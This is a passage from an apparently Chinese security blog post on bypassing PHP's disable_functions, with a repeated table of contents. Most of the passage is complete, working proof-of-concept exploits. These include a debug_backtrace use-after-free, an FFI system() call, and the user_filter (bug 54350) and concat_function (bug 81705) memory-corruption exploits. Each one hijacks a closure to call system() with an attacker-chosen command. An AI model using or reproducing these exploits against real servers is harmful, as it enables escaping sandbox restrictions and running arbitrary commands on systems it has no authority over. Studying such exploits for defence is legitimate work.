        $contiguous[] = str_shuffle(str_repeat('A', 79));
164
    
165
    trigger_uaf('x');
166
    $abc = $backtrace[1]['args'][0];
167
    
168
    $helper = new Helper;
169
    $helper->b = function ($x) { };
170
    
171
    if(strlen($abc) == 79 || strlen($abc) == 0) {
172
        die("UAF failed");
173
    }
174
    
175
    # leaks
176
    $closure_handlers = str2ptr($abc, 0);
177
    $php_heap = str2ptr($abc, 0x58);
178
    $abc_addr = $php_heap - 0xc8;
179
    
180
    # fake value
181
    write($abc, 0x60, 2);
182
    write($abc, 0x70, 6);
183
    
184
    # fake reference
185
    write($abc, 0x10, $abc_addr + 0x60);
186
    write($abc, 0x18, 0xa);
187
    
188
    $closure_obj = str2ptr($abc, 0x20);
189
    
190
    $binary_leak = leak($closure_handlers, 8);
191
    if(!($base = get_binary_base($binary_leak))) {
192
        die("Couldn't determine binary base address");
193
    }
194
    
195
    if(!($elf = parse_elf($base))) {
196
        die("Couldn't parse ELF header");
197
    }
198
    
199
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
200
        die("Couldn't get basic_functions address");
201
    }
202
    
203
    if(!($zif_system = get_system($basic_funcs))) {
204
        die("Couldn't get zif_system address");
205
    }
206
    
207
    # fake closure object
208
    $fake_obj_offset = 0xd0;
209
    for($i = 0; $i < 0x110; $i += 8) {
210
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
211
    }
212
    
213
    # pwn
214
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
215
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
216
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
217
    
218
    ($helper->b)($cmd);
219
    exit();
220
}

13. php7.4 ffi.enable=true

无回显


xxxxxxxxxx
4
1
<?php
2
$ffi = FFI::cdef("int system(char *command);");
3
$ffi->system("touch /tmp/test.txt");
4
?>

2022年1月12日更新

14. PHP 7.0-8.0 user_filter

利用的是php的一个bug：https://bugs.php.net/bug.php?id=54350

影响版本：

5.* - exploitable with minor changes to the PoC
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
7.4 < 7.4.26
8.0 < 8.0.13


xxxxxxxxxx
208
1
<?php
2
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
3
#
4
# Bug: https://bugs.php.net/bug.php?id=54350
5
# 
6
# This exploit should work on all PHP 7.0-8.0 versions
7
# released as of 2021-10-06
8
#
9
# Author: https://github.com/mm0r1
10

11
pwn('uname -a');
12

13
function pwn($cmd) {
14
    define('LOGGING', false);
15
    define('CHUNK_DATA_SIZE', 0x60);
16
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
17
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
18
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
19
    define('CMD', $cmd);
20
    for($i = 0; $i < 10; $i++) {
21
        $groom[] = Pwn::alloc(STRING_SIZE);
22
    }
23
    stream_filter_register('pwn_filter', 'Pwn');
24
    $fd = fopen('php://memory', 'w');
25
    stream_filter_append($fd,'pwn_filter');
26
    fwrite($fd, 'x');
27
}
28

29
class Helper { public $a, $b, $c; }
30
class Pwn extends php_user_filter {
31
    private $abc, $abc_addr;
32
    private $helper, $helper_addr, $helper_off;
33
    private $uafp, $hfp;
34

35
    public function filter($in, $out, &$consumed, $closing) {
36
        if($closing) return;
37
        stream_bucket_make_writeable($in);
38
        $this->filtername = Pwn::alloc(STRING_SIZE);
39
        fclose($this->stream);
40
        $this->go();
41
        return PSFS_PASS_ON;
42
    }
43

44
    private function go() {
45
        $this->abc = &$this->filtername;
46

47
        $this->make_uaf_obj();
48

49
        $this->helper = new Helper;
50
        $this->helper->b = function($x) {};
51

52
        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
53
        $this->log("helper @ 0x%x", $this->helper_addr);
54

55
        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
56
        $this->log("abc @ 0x%x", $this->abc_addr);
57

58
        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
59

60
        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
61
        $this->log("helper handlers @ 0x%x", $helper_handlers);
62

63
        $this->prepare_leaker();
64

65
        $binary_leak = $this->read($helper_handlers + 8);
66
        $this->log("binary leak @ 0x%x", $binary_leak);
67
        $this->prepare_cleanup($binary_leak);
68

69
        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
70
        $this->log("real closure @ 0x%x", $closure_addr);
71

72
        $closure_ce = $this->read($closure_addr + 0x10);
73
        $this->log("closure class_entry @ 0x%x", $closure_ce);
74

75
        $basic_funcs = $this->get_basic_funcs($closure_ce);
76
        $this->log("basic_functions @ 0x%x", $basic_funcs);
77

78
        $zif_system = $this->get_system($basic_funcs);
79
        $this->log("zif_system @ 0x%x", $zif_system);
80

81
        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
82
        for($i = 0; $i < 0x138; $i += 8) {
83
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
84
        }
85
        $this->write($fake_closure_off + 0x38, 1, 4);
86

87
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
88
        $this->write($fake_closure_off + $handler_offset, $zif_system);
89

90
        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
91
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
92
        $this->log("fake closure @ 0x%x", $fake_closure_addr);
93

94
        $this->cleanup();
95
        ($this->helper->b)(CMD);
96
    }
97

98
    private function make_uaf_obj() {
99
        $this->uafp = fopen('php://memory', 'w');
100
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
101
        for($i = 0; $i < STRING_SIZE; $i++) {
102
            fwrite($this->uafp, "\x00");
103
        }
104
    }
105

106
    private function prepare_leaker() {
107
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
108
        $this->write($str_off, 2);
109
        $this->write($str_off + 0x10, 6);
110

111
        $val_off = $this->helper_off + 0x48;
112
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
113
        $this->write($val_off + 8, 0xA);
114
    }
115

116
    private function prepare_cleanup($binary_leak) {
117
        $ret_gadget = $binary_leak;
118
        do {
119
            --$ret_gadget;
120
        } while($this->read($ret_gadget, 1) !== 0xC3);
121
        $this->log("ret gadget = 0x%x", $ret_gadget);
122
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
123
        $this->write(8, $ret_gadget);
124
    }
125

126
    private function read($addr, $n = 8) {
127
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
128
        $value = strlen($this->helper->c);
129
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
130
        return $value;
131
    }
132

133
    private function write($p, $v, $n = 8) {
134
        for($i = 0; $i < $n; $i++) {
135
            $this->abc[$p + $i] = chr($v & 0xff);
136
            $v >>= 8;
137
        }
138
    }
139

140
    private function get_basic_funcs($addr) {
141
        while(true) {
142
            // In rare instances the standard module might lie after the addr we're starting
143
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
144
            // In that case, changing the direction of the search should fix the crash.
145
            // $addr += 0x10;
146
            $addr -= 0x10;
147
            if($this->read($addr, 4) === 0xA8 &&
148
                in_array($this->read($addr + 4, 4),
149
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
150
                $module_name_addr = $this->read($addr + 0x20);
151
                $module_name = $this->read($module_name_addr);
152
                if($module_name === 0x647261646e617473) {
153
                    $this->log("standard module @ 0x%x", $addr);
154
                    return $this->read($addr + 0x28);
155
                }
156
            }
157
        }
158
    }
159

160
    private function get_system($basic_funcs) {
161
        $addr = $basic_funcs;
162
        do {
163
            $f_entry = $this->read($addr);
164
            $f_name = $this->read($f_entry, 6);
165
            if($f_name === 0x6d6574737973) {
166
                return $this->read($addr + 8);
167
            }
168
            $addr += 0x20;
169
        } while($f_entry !== 0);
170
    }
171

172
    private function cleanup() {
173
        $this->hfp = fopen('php://memory', 'w');
174
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
175
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
176
            fwrite($this->hfp, "\x00");
177
        }
178
    }
179

180
    private function str2ptr($p = 0, $n = 8) {
181
        $address = 0;
182
        for($j = $n - 1; $j >= 0; $j--) {
183
            $address <<= 8;
184
            $address |= ord($this->abc[$p + $j]);
185
        }
186
        return $address;
187
    }
188

189
    private function ptr2str($ptr, $n = 8) {
190
        $out = '';
191
        for ($i = 0; $i < $n; $i++) {
192
            $out .= chr($ptr & 0xff);
193
            $ptr >>= 8;
194
        }
195
        return $out;
196
    }
197

198
    private function log($format, $val = '') {
199
        if(LOGGING) {
200
            printf("{$format}\n", $val);
201
        }
202
    }
203

204
    static function alloc($size) {
205
        return str_shuffle(str_repeat('A', $size));
206
    }
207
}
208
?>

15. PHP 7.3-8.1 concat_function

$a.$ b 之类的语句可能会导致内存损坏。

影响版本：

7.3 - all versions to date
7.4 - all versions to date
8.0 - all versions to date
8.1 - all versions to date


173
1
<?php
2

3
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
4
#
5
# Bug: https://bugs.php.net/bug.php?id=81705
6
# 
7
# This exploit should work on all PHP 7.3-8.1 versions
8
# released as of 2022-01-07
9
#
10
# Author: https://github.com/mm0r1
11

12
new Pwn("uname -a");
13

14
class Helper { public $a, $b, $c; }
15
class Pwn {
16
    const LOGGING = false;
17
    const CHUNK_DATA_SIZE = 0x60;
18
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
19
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
20

21
    const HT_SIZE = 0x118;
22
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
23

24
    public function __construct($cmd) {
25
        for($i = 0; $i < 10; $i++) {
26
            $groom[] = self::alloc(self::STRING_SIZE);
27
            $groom[] = self::alloc(self::HT_STRING_SIZE);
28
        }
29
        
30
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
31
        $fill = self::alloc(self::STRING_SIZE);
32

33
        $this->abc = self::alloc(self::STRING_SIZE);
34
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
35
        self::log("abc @ 0x%x", $abc_addr);
36

37
        $this->free($abc_addr);
38
        $this->helper = new Helper;
39
        if(strlen($this->abc) < 0x1337) {
40
            self::log("uaf failed");
41
            return;
42
        }
43

44
        $this->helper->a = "leet";
45
        $this->helper->b = function($x) {};
46
        $this->helper->c = 0xfeedface;
47

48
        $helper_handlers = $this->rel_read(0);
49
        self::log("helper handlers @ 0x%x", $helper_handlers);
50

51
        $closure_addr = $this->rel_read(0x20);
52
        self::log("real closure @ 0x%x", $closure_addr);
53

54
        $closure_ce = $this->read($closure_addr + 0x10);
55
        self::log("closure class_entry @ 0x%x", $closure_ce);
56
        
57
        $basic_funcs = $this->get_basic_funcs($closure_ce);
58
        self::log("basic_functions @ 0x%x", $basic_funcs);
59

60
        $zif_system = $this->get_system($basic_funcs);
61
        self::log("zif_system @ 0x%x", $zif_system);
62

63
        $fake_closure_off = 0x70;
64
        for($i = 0; $i < 0x138; $i += 8) {
65
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
66
        }
67
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
68
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
69
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
70

71
        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
72
        self::log("fake closure @ 0x%x", $fake_closure_addr);
73

74
        $this->rel_write(0x20, $fake_closure_addr);
75
        ($this->helper->b)($cmd);
76

77
        $this->rel_write(0x20, $closure_addr);
78
        unset($this->helper->b);
79
    }
80

81
    private function heap_leak() {
82
        $arr = [[], []];
83
        set_error_handler(function() use (&$arr, &$buf) {
84
            $arr = 1;
85
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
86
        });
87
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
88
        return $buf;
89
    }
90

91
    private function free($addr) {
92
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
93
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
94
        
95
        $arr = [[], []];
96
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
97
            $arr = 1;
98
            $buf = str_repeat($payload, 1);
99
        });
100
        $arr[1] .= "x";
101
    }
102

103
    private function rel_read($offset) {
104
        return self::str2ptr($this->abc, $offset);
105
    }
106

107
    private function rel_write($offset, $value, $n = 8) {
108
        for ($i = 0; $i < $n; $i++) {
109
            $this->abc[$offset + $i] = chr($value & 0xff);
110
            $value >>= 8;
111
        }
112
    }
113

114
    private function read($addr, $n = 8) {
115
        $this->rel_write(0x10, $addr - 0x10);
116
        $value = strlen($this->helper->a);
117
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
118
        return $value;
119
    }
120

121
    private function get_system($basic_funcs) {
122
        $addr = $basic_funcs;
123
        do {
124
            $f_entry = $this->read($addr);
125
            $f_name = $this->read($f_entry, 6);
126
            if($f_name === 0x6d6574737973) {
127
                return $this->read($addr + 8);
128
            }
129
            $addr += 0x20;
130
        } while($f_entry !== 0);
131
    }
132

133
    private function get_basic_funcs($addr) {
134
        while(true) {
135
            // In rare instances the standard module might lie after the addr we're starting
136
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
137
            // In that case, changing the direction of the search should fix the crash.
138
            // $addr += 0x10;
139
            $addr -= 0x10;
140
            if($this->read($addr, 4) === 0xA8 &&
141
                in_array($this->read($addr + 4, 4),
142
                    [20180731, 20190902, 20200930, 20210902])) {
143
                $module_name_addr = $this->read($addr + 0x20);
144
                $module_name = $this->read($module_name_addr);
145
                if($module_name === 0x647261646e617473) {
146
                    self::log("standard module @ 0x%x", $addr);
147
                    return $this->read($addr + 0x28);
148
                }
149
            }
150
        }
151
    }
152

153
    private function log($format, $val = "") {
154
        if(self::LOGGING) {
155
            printf("{$format}\n", $val);
156
        }
157
    }
158

159
    static function alloc($size) {
160
        return str_shuffle(str_repeat("A", $size));
161
    }
162

163
    static function str2ptr($str, $p = 0, $n = 8) {
164
        $address = 0;
165
        for($j = $n - 1; $j >= 0; $j--) {
166
            $address <<= 8;
167
            $address |= ord($str[$p + $j]);
168
        }
169
        return $address;
170
    }
171
}
172

173
?>

Bypass disable_functions

目录

环境搭建

Bypass disable_functions

1. imap_open (CVE-2018-19518) 绕过

2. ImageMagick(CVE-2016-3714)绕过

3. mail()函数

5. error_log

5. Imagick 结合LD_PRELOAD的另一种用法

6. pcntl_exec

7. Bypass with via mod_cgi

8. bypass with via LD_PRELOAD (感觉是最强大的方法)

9. COM 组件（WINDOWS 专属）

10. 终极大杀器(自动化傻瓜，只支持类unix) 蚁剑扩展

2020年7月10更新

10. php7.0-7.3垃圾回收器bug，适用于*inx

11. json serializer UAF ，*nix

12. debug_backtrace uaf，应用于php7.0-7.4的*nix系统

13. php7.4 ffi.enable=true

2022年1月12日更新

14. PHP 7.0-8.0 user_filter

15. PHP 7.3-8.1 concat_function

Reference

CVE-2021-26084: Confluence Webwork Ognl表达式注入漏洞分析

如何使用supervisor监控es

Comments NOTHING

发表评论取消回复

目录

环境搭建

Bypass disable_functions

1. imap_open (CVE-2018-19518) 绕过

2. ImageMagick(CVE-2016-3714)绕过

3. mail()函数

5. error_log

5. Imagick 结合LD_PRELOAD的另一种用法

6. pcntl_exec

7. Bypass with via mod_cgi

8. bypass with via LD_PRELOAD (感觉是最强大的方法)

9. COM 组件 （WINDOWS 专属）

10. 终极大杀器(自动化傻瓜，只支持类unix) 蚁剑扩展

2020年7月10更新

10. php7.0-7.3垃圾回收器bug，适用于*inx

11. json serializer UAF ，*nix

12. debug_backtrace uaf，应用于php7.0-7.4的*nix系统

13. php7.4 ffi.enable=true

2022年1月12日更新

14. PHP 7.0-8.0 user_filter

15. PHP 7.3-8.1 concat_function

Reference

分享到：

CVE-2021-26084: Confluence Webwork Ognl表达式注入漏洞分析

如何使用supervisor监控es

Comments NOTHING

发表评论取消回复

9. COM 组件（WINDOWS 专属）